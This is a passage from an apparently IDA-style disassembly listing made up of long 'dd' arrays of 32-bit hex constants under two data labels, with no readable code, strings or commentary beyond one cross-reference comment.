dd 0F143F81Eh, 6E2C3BC3h, 0A14C31D5h, 14AE9B0h, 0D84508BDh
dd 0A0533F02h, 8BADC036h, 3CF7325Dh, 5A011BFEh, 0F941DD88h
dd 0A1490116h, 582F24h, 0B0A1F835h, 2D4FE9D5h, 38AD3FE1h
dd 2334D390h, 0A4A9A83Ah, 68A9B5AAh, 4A791287h, 0D2DE4DFDh
dd 0EBEFC423h, 0D6DBD091h, 9FE58100h, 9ED05B24h, 7B74F502h
dd 2141FF68h, 0C5FC5026h, 2BED2B53h, 4E0B16E4h, 60641F5h
dd 0EF49326Fh, 0AF3D94A4h, 680CBC42h, 0D1F3E17Bh, 1EF2F89h
dd 0EB0198F9h, 47BA0A63h, 6EED9A40h, 4485EDBh, 9CC5589h
dd 1F346546h, 6415D268h, 0CDEA1844h, 1913DFEAh, 0B84A1032h
dd 0E90B08C2h, 663CE1FDh, 4B75996Ah, 52461E3Ah, 0BAC7629Ch
dd 21110B18h, 6F682BE9h, 122AB61Ch, 6B8CFAF0h, 13539577h
dd 5571C30Ch, 5E43EECAh, 2AD6F3F9h, 0C1FAF372h, 9E164ED2h
dd 0E8325AE2h, 0ED742218h, 9A826635h, 0EC90D09Dh, 67D89D89h
dd 0ED815E9Ch, 0C9C8ACC4h, 7375043Eh, 0C7CBABDDh, 117EA84Fh
dd 1C3F5BBEh, 92B3ECCBh, 9F4A8EF2h, 0F1E908A0h, 2581298h
dd 8189EADh, 5D8D1E0h, 9F0957F2h, 54C329A6h, 0ECABC49Ch
dd 0B7E25F57h, 0F6CC2Dh, 50E0243Fh, 2069BD80h, 0C14D6648h
dd 478059DAh, 730378DCh, 0C2EF0F90h, 7C4AA454h, 5B383A4Ah
dd 0DEC28D80h, 0B60D1232h, 0E991FE31h, 903A099Ah, 1B59C539h
dd 511D155Ch, 0C08061Ch, 0B4054704h, 65F45E34h, 0A3434FA5h
dd 20A64F73h, 41C0CA10h, 698FD145h, 137FD463h, 0B00E28C6h
dd 0CD84F3E9h, 9F02E1C3h, 43061ABFh, 6580B08Eh, 0E94A0C47h
dd 5B4AC52Eh, 3A3D7499h, 513C63CBh, 8BBBC458h, 90BC2C73h
dd 7D56BB80h, 953154D6h, 0CF3CD5D0h, 0C28DAEEEh, 57E90882h
dd 529BDF37h, 78011AB9h, 0E66884B3h, 3ED6CDBFh, 25680F9Ch
dd 2F927FBh, 0BA696A7h, 674259C2h, 7F4D7D11h, 52EE7AD0h
dd 31D3D2Fh, 0B85F86A7h, 95E1C172h, 0AF524442h, 0B7C1294Bh
dd 9A7FEF65h, 0B8E93820h, 0A9E34A05h, 0CFC8A4Bh, 0C9F2F4E9h
dd 282B540Bh, 0F71FF266h, 56B21E40h, 0B12A7FE9h, 0D5EB17FEh
dd 0BA818251h, 0BCEA00Bh, 2F3B997Ah, 0EA515C01h, 14800CA0h
dd 0B3721C2Eh, 2A015B4Ah, 170D6491h, 0BC43D30h, 291A0B7Ch
dd 2505E34Bh, 34E27088h, 65BCDAFh, 1D830F0Ah, 3294641h
dd 6A1CB41h, 32C30863h, 54AA902Ah, 55194533h, 0A3E91C01h
dd 8635BF25h, 9BDCF7Bh, 0B1F596E9h, 932446D3h, 16ACBF6h
dd 0FA89467Eh, 0C3D35CC4h, 451037C1h, 3C4CD89Ch, 3EA2F7Bh
dd 0DE6ECB7Ch, 437C8342h, 0DCA055D4h, 0D06A85C3h, 1D0A324Bh
dd 4C2908EBh, 834723C0h, 0F938C74Bh, 3467A65Ah, 9E04C907h
dd 1C6D011Eh, 821C0806h, 103ED914h, 4350046h, 19EABDCh
dd 0ECD395C2h, 39F97643h, 0B8545BF1h, 1D393F02h, 0F9CBBA13h
dd 7DBC10CDh, 558B0500h, 0C521BDFDh, 0FF417C90h, 79F6B060h
dd 0FA7025DCh, 0A0A92BDDh, 170CBDB3h, 0C25D5E66h, 6F54560Fh
dd 3029DD49h, 208D4CD7h, 8927D2D0h, 1A50FDh, 0A2BF575Fh
dd 310B1D37h, 0E5E9FB13h, 0FB2A5C5h, 51E1E9B1h, 53C631FCh
dd 0F6DB538Bh, 42B9EB05h, 0ED009C7Eh, 4B63F0C9h, 0BDFB924Eh
dd 0AB1C4868h, 29F48D04h, 90FFE9CFh, 1DACBD29h, 14B0C677h
dd 88B5D33Ch, 2DEA290Dh, 0CE3C897Eh, 91B949C0h, 667E0F1Bh
dd 0F8D3F741h, 6790503Fh
dword_4EF14C dd 16A33C1Eh, 73E02413h, 0C873B75Bh, 0D86E08h, 18685357h
dd 7F4CA61Ah, 5EF83541h, 2FD5DDFFh, 0AA176EF9h, 8E819D5Eh
dd 10DB233Ah, 0F98B6469h, 0CC0C555h, 59263077h, 65A3D695h
dd 3580D09Bh, 0B2D49B1h, 3030DC2Fh, 793D0ED0h, 5A0440BDh
dd 3FF602Dh, 0F2A8BD05h, 0F906435Fh, 4D7F387h, 2572C0BFh
dd 56C0B02Fh, 7FA3BE04h, 0B0AF6C2Dh, 0A4041A29h, 0F531C1B2h
dd 4FFD8ABFh, 0C0A747E3h, 455682F5h, 461C7D4Eh, 222D329Dh
dd 56C338D2h, 1EFD6BF2h, 2A969FCEh, 0C2E255B1h, 80BF00A2h
dd 7B00E103h, 5EE7814Fh, 2D26FF34h, 0E009B4E9h, 334C9E75h
dd 4D4595E9h, 1C09C28Eh, 210B6D54h, 206B3BB3h, 0A2C6BB24h
dd 0EBBB8F08h, 64CAF102h, 6DCDF10Ah, 12C8D48Eh, 92E02E7Fh
dd 1FF90CCAh, 0F2115D62h, 0D92A5518h, 5B1C278h, 0E9D63BB5h
dd 3A2A8C3h, 3A5DA3BAh, 7C4CD178h, 14B6F780h, 0A8BB0B97h
dd 26BD5E12h, 0E95FE202h, 489B5022h, 5687CC89h, 0D35CC354h
dd 6EB1181Dh, 0F7F010D2h, 3AB77953h, 0B3A5CEB6h, 81AD6B61h
dd 59C8211Ah, 0DEE9C009h, 88A8053Bh, 2684BFFCh, 0F9592CEEh
dd 5E69209Eh, 0C986C939h, 0E35A99D5h, 8D3FCEA1h, 3B1301EBh
dd 79CA7B18h, 136A3500h, 0D8F7253Dh, 734AC9B6h, 0FA4B651Ch
dd 0F803E22Ch, 765074ACh, 0C9C376D0h, 0DBDBAD54h, 71EF6693h
dd 812BB92Ah, 221FC727h, 0EF701813h, 9B7B3FA4h, 1C68013Bh
dd 10982408h, 14B21C4Bh, 8006542Ch, 5B0657EBh, 7579ADF6h
dd 17B2521Fh, 9340C28Ah, 96ACF82Dh, 13A6EF41h, 2D601A67h
dd 5F581646h, 0E2C74A01h, 0D4BAC6A0h, 3F300AFh, 50096530h
dd 4A138FB8h, 0C5091FE2h, 2622D5DEh, 0C7FFFE3Ah, 98BF0756h
dd 0E92DB01Fh, 55C05A0Eh, 0E57693C2h, 0A070B46Ch, 8882B408h
dd 0F42531D9h, 0E3C107C7h, 0AA28B406h, 0D4B8E809h, 14CAE08Ch
dd 1785BCBh, 54E2C289h, 17EE9ECAh, 296EF079h, 8043F24Dh
dd 7F4C382Dh, 68E91302h, 0E82A5379h, 2CAAF4B1h, 9F73051Fh
dd 877ADC3Ah, 10EB6BE5h, 0A643E7A1h, 2D17B03Ah, 0C94007A2h
dd 50133426h, 9D83455Fh, 0C052F251h, 3F96E47h, 7305FC27h
dd 29A00D02h, 0B90051E8h, 7BC84ECDh, 17A8E181h, 815AF3Ah
dd 522F290Ah, 6009F21Ch, 0CFC5A9DCh, 4B306777h, 44CD0E5Ah
dd 0ED0CC026h, 0DFB6CE39h, 0A7E0315Eh, 0FEC59FCBh, 71B17E89h
dd 7BF18897h, 0E16A5569h, 0B5F20344h, 71B9099Fh, 0C84C958Fh
dd 7FE3710h, 0FDC6805Ch, 8541EE33h, 680DCE06h, 0A650B5C9h
dd 34C2570Ch, 18CAAC05h, 0C13C44Eh, 0A62061B2h, 702B0342h
dd 0DD0138A2h, 5308E040h, 230ABB06h, 165034D7h, 289AC1E9h
dd 0DEB5512Fh, 0D2C2FA19h, 6F953D58h, 0CBCACA4h, 0EB49D555h
dd 9DBB7A0Bh, 6C2BFCF4h, 8266B18h, 0D91FFB6Eh, 51123F29h
dd 96899FBh, 7602C5B3h, 0BA726006h, 7F7742B0h, 0C1984A7Eh
dd 0E584BE32h, 0C62520C1h, 4048EB09h, 7FE8572Dh, 0CA2535EAh
dd 98C2F83Bh, 606DB9D1h, 4B3F4A55h, 24EAE927h, 6DFA0C97h
dd 0A4142BA7h, 96905248h, 95333F71h, 34E12381h, 6F70D67Ah
dd 2D50C7F0h, 9BE04094h, 1CB6B7E9h, 97A2502Fh, 5CC41E71h
dd 0C7103FBDh, 63F5854h, 39556B1Ah, 6EFE1778h, 5D0B82F8h
dd 1A32D085h, 3073D4BCh, 68C1342Ch, 0F395F19h, 4A508BA5h
dd 0FE3245EBh, 833CAA15h, 80F55BE9h, 686650FAh, 2169E52Fh
dd 88E6B343h, 0E948DC3Bh, 0B7C96F24h, 7B53096Bh, 25B0A3A1h
dd 59A4B820h, 1786A07h, 0C68CC96h, 967E5D14h, 20106EB3h
dd 6BEC14Fh, 0A06A1656h, 7D7C75C6h, 95E96D4Eh, 0E8285079h
dd 9F3B834h, 0C9B4E2A6h, 20C83300h, 0E92D11D7h, 46BE34Ah
dd 0B91C4C2Eh, 0B798EB6Dh, 3D6FF156h, 0EEED3FEFh, 5255FB65h
dd 0AF8AC16h, 0C530C5E9h, 0D1F7CA83h, 92DA731h, 0BDDA81FCh
dd 3EFBDC68h, 6841ED09h, 4C467DB5h, 3A749604h, 89F25311h
dd 53DB896h, 36CB6D70h, 73667F80h, 2D01040Dh, 0AC1277A1h
dd 13450489h, 5201043Ch, 7875423Bh, 5C2D0250h, 0C2E41034h
dd 0AA16C0B4h, 265F8154h, 0E810C6F9h, 0CE8013BAh, 19401D9h
dd 7050D6F6h, 6CBC4223h, 64FA3A89h, 0EDE841BBh, 73096B49h
dd 7E24504Ah, 0F4D35E20h, 0ABBFDEABh, 729302E0h, 0D48307FFh
dd 0CFF3AA04h, 0BC39929Fh, 0EFE2D20Ch, 5AD021C2h, 9DDDE4FDh
dd 0D8A024D3h, 0EC7A9B2Dh, 7967B788h, 0DB1203A4h, 2F68E98Ch
dd 5ED61342h, 0C22DF452h, 0BA184377h, 4F4E044Bh, 0BFDAF76Fh
dd 0F162C199h, 99DFC44Eh, 2BA635AEh, 4737018Eh, 97EEC051h
dd 63252765h, 80D4F801h, 493DE908h, 442F62E1h, 4CBE2AD8h
dd 750C98C2h, 6818F11Ch, 393D4503h, 9098B29Ch, 0B51C7018h
dd 53E0AFDEh, 0C09207E9h, 9AA5BA0Ch, 5590B67Ah, 6C5C6909h
dd 11005565h, 43A6125Fh, 0B5C06095h, 3E84905Dh, 0C7022F2Dh
dd 0EE11E9DCh, 674E2C44h, 0BD4B99ECh, 718B92CAh, 49A05625h
dd 7A901F7h, 0FE29E205h, 9CA43C8Bh, 43BA0352h, 0E937BE20h
dd 145787B2h, 0B6585AEEh, 8A0C6CE2h, 3F7CBE74h, 0C8285801h
dd 0F22AB353h, 465EF2C3h, 0F95A5ECBh, 0DE4AD314h, 3210A957h
dd 892EB47Dh, 12561D17h, 4E9CDFEBh, 68040799h, 35A85F90h
dd 0A800E8B6h, 8174E02Ch, 7275CAh, 68503BDEh, 6A1C3FB7h
dd 43CEE915h, 257D5829h, 5F9C46C9h, 4F53E75Ch, 0A80884C1h
dd 54CC6800h, 23D81897h, 0F267B588h, 24E74088h, 0DFD90564h
dd 1F971320h, 407A928Ch, 2348BB53h, 0BFB96C87h, 0A94FD802h
dd 9459E064h, 0A0F4332Bh, 2E81F80Ch, 55022057h, 0B1D1F05h
dd 0AFB85CE9h, 16F7B869h, 0EF772476h, 3088E2E5h, 45EC6190h
dd 0A43B5381h, 13BDE798h, 0F76EDF44h, 0E12E32F1h, 76A63ED0h
dd 3C9C8C4h, 0C16DF180h, 997A9066h, 60472154h, 7C5A7308h
dd 0C661558Bh, 7B5FE068h, 4F2FE2E6h, 8BFE148Bh, 0B5629054h
dd 0E1094238h, 66456BB6h, 0ADEE82FFh, 0E97860F5h, 67E1E678h
dd 8E430620h, 0F853B64Ch, 42880505h, 0CBFF22E6h, 834F1C7Fh
dd 0B1AD525h, 11F9802h, 0E0EBB298h, 0B424189Dh, 1DD13C5Ah
dd 9775CB2Dh, 225DADB1h, 70079D87h, 0B049227Fh, 0B5E5C102h
dd 77213D80h, 0E984E3D1h, 32AEF8D8h, 808153D0h, 48CF8848h
dd 0F71F8015h, 0FE1F521Eh, 25E9F584h, 0EF4BEAA8h, 1011E132h
dd 0A5CA848Dh, 0CC653AEFh, 0EB1116AEh, 680A362Eh, 8AAA70B9h
dd 63D74B51h, 98F956B0h, 0F60A5278h, 43A2B48Bh, 0BB009EF3h
dd 4B014C0Ah, 0C311C47Eh, 3707AFB1h, 0EF835AD7h, 0A31F0FF9h
dd 0B1217605h, 0C1C03ECFh, 80FCF936h, 6B3271Ah, 3F17AAF8h
dd 49940DB2h, 5E5F0801h, 0BC3EC383h, 6C0BA52Dh, 0F724D5E0h
dd 525D05C8h, 0D274A2AAh, 5B88CFABh, 1910F0CBh, 1224582Dh
dd 1CCDFCC4h, 7F889E41h, 3FDDF16Eh, 0FF561A87h, 0CDC89F03h
dd 7D6125C5h, 0D961F5E1h, 0A02E9A61h, 0D640C621h, 5BD82E31h
dd 0BE68C120h, 7DCD515Eh, 0B8E7B90h, 219B325Fh, 8A3948F7h
dd 0E0F9A43Ch, 172C2507h, 94244BD8h, 0E293910Ah, 9439CAEEh
dd 28A61211h, 97F4EB8Ch, 3DB9CB61h, 6608C248h, 0F99582BBh
dd 2718C795h, 0E6553E42h, 6668132Ch, 0D2F8E853h, 0F2D67D1Fh
dd 82C1B247h, 0EBDE03B3h, 0ECDE37C8h, 0FA4B04CEh, 0FE3D8091h
dd 0D500D257h, 0F645ED80h, 0FC705B69h, 0C9E4E7D6h, 503CAACh
dd 1B072DDBh, 1588189Bh, 70B7595Fh, 0C93B2004h, 5BF85B9Ah
dd 0BD55F0FBh, 0BC65050Ch
dd 955DACB9h, 5A0E2E89h, 0EEE0C2E5h, 505890CEh, 0A45A4805h
dd 1F19BE38h, 67304007h, 840F80EEh, 0A38B202Fh, 33FF296Bh
dd 9BB4E783h, 93C15D03h, 0D922D5C6h, 0EA74E410h, 5F5A4BD3h
dd 910409D0h, 1EE8E6ABh, 0CAAC1FC2h, 80290144h, 0CB0BE281h
dd 601B7F32h, 4A5073A0h, 4221607Ch, 27203D0Eh, 0A2094E31h
dd 50E9C51Bh, 484CEDF8h, 41732D3Ch, 61F13EA9h, 0EAF5DAC1h
dd 75DFC2D6h, 4A38D895h, 6CAD52E5h, 7D5A245Eh, 7065C4E1h
dd 0C000D095h, 0CBFE02E3h, 0BF3C2068h, 86DC4498h, 6A40CC58h
dd 29813CA6h, 164568F0h, 0BA19D066h, 0DCDE119Fh, 0C1915D1Ah
dd 22AD97BFh, 0FC5E6AA2h, 3BD7B123h, 5D05F80h, 62DF7AF7h
dd 2AEEC2D2h, 2D5C0E7Dh, 74A00551h, 0C45E518Bh, 5E12FE1Ah
dd 813F25FBh, 0E5F1F6h, 0FE04A4B0h, 22229751h, 1455D68Fh
dd 8118B6B2h, 0EB8016B5h, 0EB9DC36Eh, 0D6BCCE13h, 0E941B104h
dd 4874B88Bh, 0F5E784FDh, 521B21FFh, 0E280E4B2h, 0D4F12A50h
dd 406C076h, 4B876866h, 0CFD04D7Eh, 0EEC53613h, 5E2E7F33h
dd 0D1E2C111h, 64D9E9E5h, 0C03FFE44h, 8C04802Ch, 0F643B753h
dd 58E7F4D7h, 0DC259907h, 898E89FFh, 4D04D7CAh, 12541096h
dd 92E7D4BFh, 3379AA4Fh, 9A84E039h, 8042EC0Ah, 616532B8h
dd 0D8F7125Fh, 0C8E15040h, 0A4573602h, 61FF0905h, 0C2B53CEh
dd 35E96474h, 0C348934Ah, 0E29080Ch, 5F5E5009h, 0E98468CDh
dd 20AEA403h, 5D9D68B9h, 170FA1C4h, 0EBCB9516h, 80EF4D12h
dd 8F6FEDA4h, 0D6F60A76h, 12F9361Fh, 9C7843Dh, 98F84293h
dd 4B228868h, 0AB18D3A2h, 0F17381DEh, 0E36FEBB2h, 38AED73Ch
dd 0F1415DF3h, 0BF3A664h, 0A7AFBC52h, 9CE97D21h, 84633880h
dd 4AACA88h, 12256B8Ch, 0AD108E1Fh, 0FC2D503Eh, 68595540h
dd 0DB5FD92Fh, 0DF4C4981h, 0A0EA830h, 3932CABEh, 0BF076EBBh
dd 0F3A160C7h, 1E0B07AEh, 0D5874Ah, 5B4939D8h, 0B8F3A36Eh
dd 2D174440h, 2258D2F7h, 2E2AB604h, 90201BCh, 5FC15DE8h
dd 5E4697D9h, 0D7D0FAACh, 0C671212Fh, 80DBA042h, 780BBF8Dh
dd 0E00E6630h, 57138B83h, 48A15F53h, 0F6E28321h, 1FC31822h
dd 6C19D5BFh, 3CE86007h, 2C0CE5E4h, 25F7F929h, 80DFFE09h
dd 6D35F6FCh, 4E7D308Ch, 0A13C110Eh, 7F0C1460h, 951FF568h
dd 0B1BD4878h, 0F57F0229h, 9D9206Bh, 0D533C22Eh, 0F4176104h
dd 0DEDB8682h, 421A4CAFh, 848CBF01h, 6E9DD29h, 5387A0E2h
dd 0F43C4FBBh, 8B32DF52h, 0F8465611h, 5D6FDFBCh, 0CBC12AE7h
dd 4C16A102h, 0C6AED779h, 0A4143561h, 480E6F4Eh, 31060510h
dd 2FE9C503h, 0C2B738FDh, 758D768Bh, 5C0352D8h, 10CBD05h
dd 81E40CAh, 94BE0956h, 45F6BB2Ah, 0CE01D82Ch, 5B12457Bh
dd 0CAC00947h, 0BAF36801h, 5C8FA266h, 57D3705Eh, 15D4BB80h
dd 95644E3Fh, 7067FC7Ch, 88A999BFh, 42171130h, 0FB6A41EAh
dd 689C2983h, 0DF011362h, 552F768Ah, 0EF4FAFE6h, 0ABEDB962h
dd 0EE1C5DFFh, 687C449Ah, 2D80553Eh, 2F3C5058h, 0AF9244C6h
dd 5FBCC7Fh, 902237F1h, 864FC1F2h, 0D86800EBh, 0A62DB918h
dd 6CDBA53Ah, 8BFF5E64h, 3AAF1389h, 0BBD3A3E3h, 16D945Fh
dd 476B68E5h, 0E129B451h, 1AEFA72Fh, 0DD0ADEDDh, 539227C7h
dd 1D289D00h, 69BB7E22h, 0F8520B2Ch, 60C78720h, 311A281h
dd 58007399h, 0D685552h, 0B80FD137h, 0E4E937FEh, 58E3026Dh
dd 60053FE1h, 0F650A7A2h, 2E603CF6h, 0B850DDFFh, 0D51E3D8Bh
dd 16826EFDh, 13DBF17h, 0AD8DAC6Eh, 7D6EF82Eh, 5BDD20A0h
dd 3F6C80F3h, 0D52FB7Fh, 837805F5h, 9439E918h, 0DFCD076Ah
dd 83033410h, 4B819C5Dh, 9EFE997Ch, 0A07EEEB3h, 778A31FEh
dd 1A3E7882h, 168A84F9h, 3443089Ch, 0AF414ADFh, 0DDE43045h
dd 17DE29B4h, 0AC77D523h, 81B4276Ah, 575647E6h, 0E82B0A21h
dd 0D38B996h, 61D6F7A1h, 7A84357Fh, 128065A0h, 11B6F3h
dd 0FF6A1697h, 5130E92Eh, 3BBA3269h, 6C5E0737h, 345AD129h
dd 0A90E87C1h, 51330C00h, 79EEFEB9h, 0E1091F98h, 73E489Ah
dd 0E980D9D4h, 1966C8ACh, 56CF318Bh, 0EBAF8137h, 0BCD49FA6h
dd 4BD7B93Eh, 0E9826CE2h, 0A109C862h, 0FE211228h, 0D02A89C5h
dd 380E9DBh, 0D7F7D8A0h, 5640971Eh, 79D025BEh, 7C854F97h
dd 99B320D4h, 2C60701Bh, 0A16F380Ch, 5FE97A6Ah, 1D0630AEh
dd 304C837Bh, 7CE22F4h, 8BD354C3h, 0AF79B4D1h, 1F2CF712h
dd 372809BAh, 897D435Ah, 0C96BB8B1h, 81FC82F9h, 0A75A652Dh
dd 138F3A80h, 0E6A8279Fh, 7B400DE9h, 3C899D5Fh, 8D5B81C2h
dd 0B60D9603h, 0B3205C7Eh, 8AAF5B5Eh, 0AE03073Ch, 0D21A38C2h
dd 937FC0Ah, 3DF3769h, 0B9CFC68Fh, 942F1F4Eh, 0D90814A3h
dd 3EE6012Dh, 485CF522h, 0D79E4E2Ch, 0D43EB1ABh, 0ECCBBFCBh
dd 0C1657D5Ah, 5F54EB30h, 4B189855h, 0AA60843Ah, 87C555A6h
dd 0E91F431Ch, 1E51F126h, 0E8812B50h, 5902E491h, 409F1A75h
dd 97FA845Fh, 4F9231F9h, 9F054780h, 637A2D56h, 532E43E6h
dd 9308C158h, 0C8200E6Dh, 0FEACEFE4h, 0C5818A70h, 12082672h
dd 9B702F21h, 10DD0882h, 487468A1h, 5884811h, 267D023Dh
dd 5F58D892h, 96C04FCAh, 0E125725h, 0B4015B95h, 0CA613AA5h
dd 0E963D03Eh, 0FB3A6E72h, 8D219602h, 607B4ECDh, 0C8E95EF2h
dd 5401062Fh, 0FE3CC49Fh, 0E909889Ah, 5F76C0B2h, 1FE853E4h
dd 216205C9h, 205B7055h, 0E2A0BED6h, 193D2CE1h, 0DDF69366h
dd 0A88887ADh, 0CF905649h, 753058BDh, 0C2EC2FEFh, 0C7017312h
dd 59FB0D05h, 482336A4h, 7D913DEh, 0B08C7A52h, 7E5726E9h
dd 4E0D8062h, 0CA811307h, 0AD62CD3Ah, 70A0D542h, 4E3C0A29h
dd 572BE91Bh, 63B6067Fh, 0CE5A2E38h, 0E33F0309h, 39655754h
dd 66680730h, 0E96BA86Ah, 8D839F0Eh, 0F9100C33h, 0FC4F72B5h
dd 0CE904E9Bh, 42475259h, 0E4D9013Bh, 37E9CB33h, 401C91AFh
dd 8B22E5BFh, 3CA9DBE9h, 0F9E20B7Fh, 0B0FFE90Bh, 80DE0F25h
dd 0D377C781h, 1E0C813h, 0CEA0540h, 0B7197E67h, 1BC27005h
dd 40B81C08h, 0E92C6027h, 42967B9Dh, 655AB701h, 7A6C2CCCh
dd 9F0F194Ch, 316CFEF2h, 0D7168958h, 0C7C792E9h, 65EA2475h
dd 4E8B8EA2h, 245F75AAh, 0BFF6BBEAh, 0FF70AA4Fh, 99856CE9h
dd 5D29B253h, 7515C27Fh, 7D69865Bh, 0BD661890h, 0BA405B81h
dd 5C361DCAh, 277E0475h, 0C4E663B0h, 4927C77Ah, 49EB56D7h
dd 45208AD8h, 9F5871D0h, 0A620FEDAh, 36050237h, 9F480EEh
dd 3A4D0361h
dword_4F0044 dd 251C6CE8h, 19C3D08h, 0D8414DE9h, 0C7BA3044h, 8F5E320Bh
; DATA XREF: ___:00438124o
dd 0DC970633h, 71557618h, 350CC0EEh, 2FFB37B8h, 80885CB5h
dd 8F43D82Dh, 6CF0250Ah, 35725701h, 0CD489C27h, 5E02C16Fh
dd 9EBB0090h, 22F80061h, 7DA2CB81h, 4B1C5A3Ch, 5EF854E9h
dd 7668A642h, 15A90F25h, 0ED8067C0h, 0E501D0E8h, 2823B652h
dd 9AEF5AF5h, 3FB26CA2h, 0C31F38B0h, 0AABBB958h, 0EBF2EB3Ah
dd 605F10BFh, 28C0EA07h, 0C275DA7Eh, 6B827195h, 4F4D05DFh
dd 0B7F631BFh, 56C2EABFh, 0C01B9E7Fh, 510EB326h, 0E913D988h
dd 5AA7DE9Ah, 0FC3DB04Ah, 0BEE5F94Eh, 0CB9B2C6Eh, 86A31B5Eh
dd 6B32BB4Bh, 64A0DD13h, 512879EEh, 31D07B4Ch, 5EF355B4h
dd 0AE2A813Bh, 7B77A7BAh, 0C8B2BC44h, 6801E620h, 8F6A15E7h
dd 48E912E0h, 77E55C5Ah, 0E925FEBCh, 6851C07Ah, 87365DEFh
dd 0ED6C0181h, 3929F44Eh, 58785213h, 0E95051C1h, 2E8E97CDh
dd 2CE4CE21h, 0C515F828h, 95CB8C0Ah, 5057AE61h, 0C179C8B8h
dd 54BF281Ah, 0E241F70Bh, 1C3511Bh, 0B1A76CD3h, 6F7956A9h
dd 0E848A69h, 27751725h, 92400B81h, 9B0B87BEh, 71877B24h
dd 8D48FF9h, 6171748h, 48F7EFh, 0A16EF9B8h, 2D402D4Ch
dd 0E406D3Ah, 8A14C335h, 1683AC16h, 42F69B08h, 0CA4B3A3Ah
dd 0AE2B5F53h, 0C98C8B26h, 0BC5F9694h, 68510590h, 770749E0h
dd 53527583h, 0C0E9E8A0h, 0C8B2874Fh, 5693ED02h, 42D62E1Ch
dd 4A19E501h, 0B6E312Dh, 25CCD778h, 610253BDh, 6A2BD1E9h
dd 0DC2E08E6h, 8007125Ch, 0A8DA40BFh, 2FE9F80Ch, 0C9F7476Dh
dd 64D75FA4h, 12D7F405h, 6017B868h, 966D9539h, 0DF014802h
dd 552FDCE9h, 7EAE95E7h, 65717901h, 53205E45h, 0C9775937h
dd 0BEB24F8Eh, 9D687A21h, 0B24BDD2Ch, 64A09266h, 0ADC44F41h
dd 0C680C08Ah, 0EAFE286Dh, 496AEBEEh, 0F6A12C4Fh, 0E8736025h
dd 51703511h, 5003177h, 0DC26EF33h, 81CF1AE9h, 0EAD945C1h
dd 2DD013C0h, 4BF20D57h, 607C2166h, 0D81322BAh, 0D0FE4567h
dd 0AA19B784h, 80296B22h, 5B96E908h, 0D24725DEh, 0FC487BC2h
dd 0FAB7BAB1h, 0EA3A731Fh, 860CC120h, 4C77D568h, 0CC5A8882h
dd 355340EBh, 1BFF9755h, 77482158h, 0E91721B2h, 0BBB4E1A3h
dd 7B309819h, 0B943240Ah, 51508EC6h, 0A44782C0h, 0EE09B819h
dd 0AE3962CFh, 96CCB55Ch, 21891EF8h, 2F15703h, 7A4B2CCh
dd 38A5795Dh, 0E94D38F9h, 40A8414Bh, 0AA3CAF6Ah, 745E057Bh
dd 1587780h, 0A53B8C2h, 77ED24F2h, 0E5CB09EAh, 0BD602D7Ch
dd 4F961B94h, 0C30CC457h, 22250F9Dh, 82E57C5Bh, 30072753h
dd 0F280DF85h, 7AD88415h, 50A29E14h, 43A431C5h, 995EAB09h
dd 60715A8Eh, 0C3D73EECh, 663BBD16h, 658C5EAh, 782C7895h
dd 0EA713BEh, 0E07A0814h, 2F6800Bh, 1516D1Eh, 3003E6C1h
dd 5940DA43h, 0B6F4A0B2h, 0F366BF09h, 129DFE74h, 6F7AD710h
dd 5AD3DC95h, 5D68B65Fh, 0A84B9B44h, 39904FA4h, 3AC208F9h
dd 94ACE90Bh, 7B05602Eh, 0BB7D5BA7h, 4BACAA20h, 2CD9A5BEh
dd 3D050286h, 0C5502028h, 0CFD6A7EDh, 93F8D4A7h, 0E5F8095Ch
dd 5C954E50h, 0F0C25AF1h, 757AAC76h, 4530DB64h, 0ACC2D31Bh
dd 9D42E87Bh, 0B2BF8BE0h, 588344B7h, 0BB253052h, 0C0B69491h
dd 80076EB4h, 0F42840ECh, 5A51C457h, 0B362E530h, 0FAC5C2DFh
dd 8B7025E9h, 0E17A51B5h, 0BBA01EE9h, 0BE5D18E7h, 3FE8B60Ch
dd 63ACF730h, 774A751h, 80F94578h, 0C078B551h, 30BA73F4h
dd 0F068D80Bh, 0ADC9711Fh, 53FAB5D2h, 81C14E4Dh, 1A3B18AAh
dd 4E2CF970h, 4BACE27Eh, 0EE4BF0A8h, 37503469h, 0BF010A0Bh
dd 57492759h, 0F71DF199h, 11B2448h, 3B4A0B0Ah, 8220E181h
dd 0D04E58B0h, 2A5BB80Eh, 88C5EB32h, 0E87DEDE8h, 0C4371E0Dh
dd 0B1A09264h, 0DD9A01F8h, 2E07246h, 7313F5C8h, 59F24801h
dd 6C649D28h, 5F5A0826h, 77A2DA27h, 18152DD6h, 53E47FD6h
dd 4359682h, 8473C766h, 0F476A1D5h, 0ACBB757h, 6818305Bh
dd 42BFB0h, 584BBFCCh, 0C01F070Bh, 4BEC6828h, 0EE408C08h
dd 167A064Ch, 0ED4385E9h, 0C18EE780h, 3583E39Eh, 2A1E5DF8h
dd 0ED25557Dh, 7A6E5EB9h, 43897456h, 5CE63029h, 707A2635h
dd 300117A2h, 8644C45h, 0DBE93A3Eh, 0AB4D100h, 0E6D0E480h
dd 0FE7D0FF4h, 50BC0C4h, 30D23481h, 6DC820FCh, 0C0A83E4Bh
dd 8687E2E7h, 60923651h, 0B55E33E0h, 0BB621376h, 205F9307h
dd 6C97B756h, 0A49D30EAh, 2E06C36Dh, 0B50DF93Dh, 0B1C0CBE1h
dd 5B2DC17Dh, 0FD94E15Ah, 5B842B97h, 307CF3A6h, 0E737467Dh
dd 4C2462CCh, 3C02AD4Fh, 7DB5F39Dh, 0B37DFA62h, 0EDE04AE5h
dd 8CFDD2AEh, 0B16A3210h, 0C52F56E9h, 44E69922h, 68844377h
dd 17276DC9h, 0B510507Bh, 84E95DF6h, 0B2AFBB3Ah, 0D7682C5Bh
dd 0F564A909h, 0DCEEC8B0h, 43AB2A12h, 5BB33715h, 25F72FFh
dd 0D8AB5C25h, 0DA49D1B6h, 429E1236h, 0F34564AEh, 0D7E9137Eh
dd 0C1886281h, 0A59CBC8h, 427E6852h, 0AC4069E4h, 0BAD7EC1Dh
dd 6B10C3E8h, 0D0AE5003h, 275C9740h, 0EED2EF81h, 5D602BFh
dd 92FB5DD6h, 0A9632882h, 5F8AF572h, 4E6212C2h, 0AEE6C1ECh
dd 0B9040E48h, 6ED03E7Ch, 72FC24C0h, 0ACC65A89h, 0E5BC16A2h
dd 16809E34h, 0BD1270E0h, 4F78B1C0h, 0F29C6FEEh, 466C3509h
dd 6BC8F2EEh, 2957BE07h, 3290FBF3h, 77D92E90h, 0B9184BA4h
dd 0CC5E59C8h, 499406A4h, 0F0F1BF1Dh, 177607BDh, 21CF2F26h
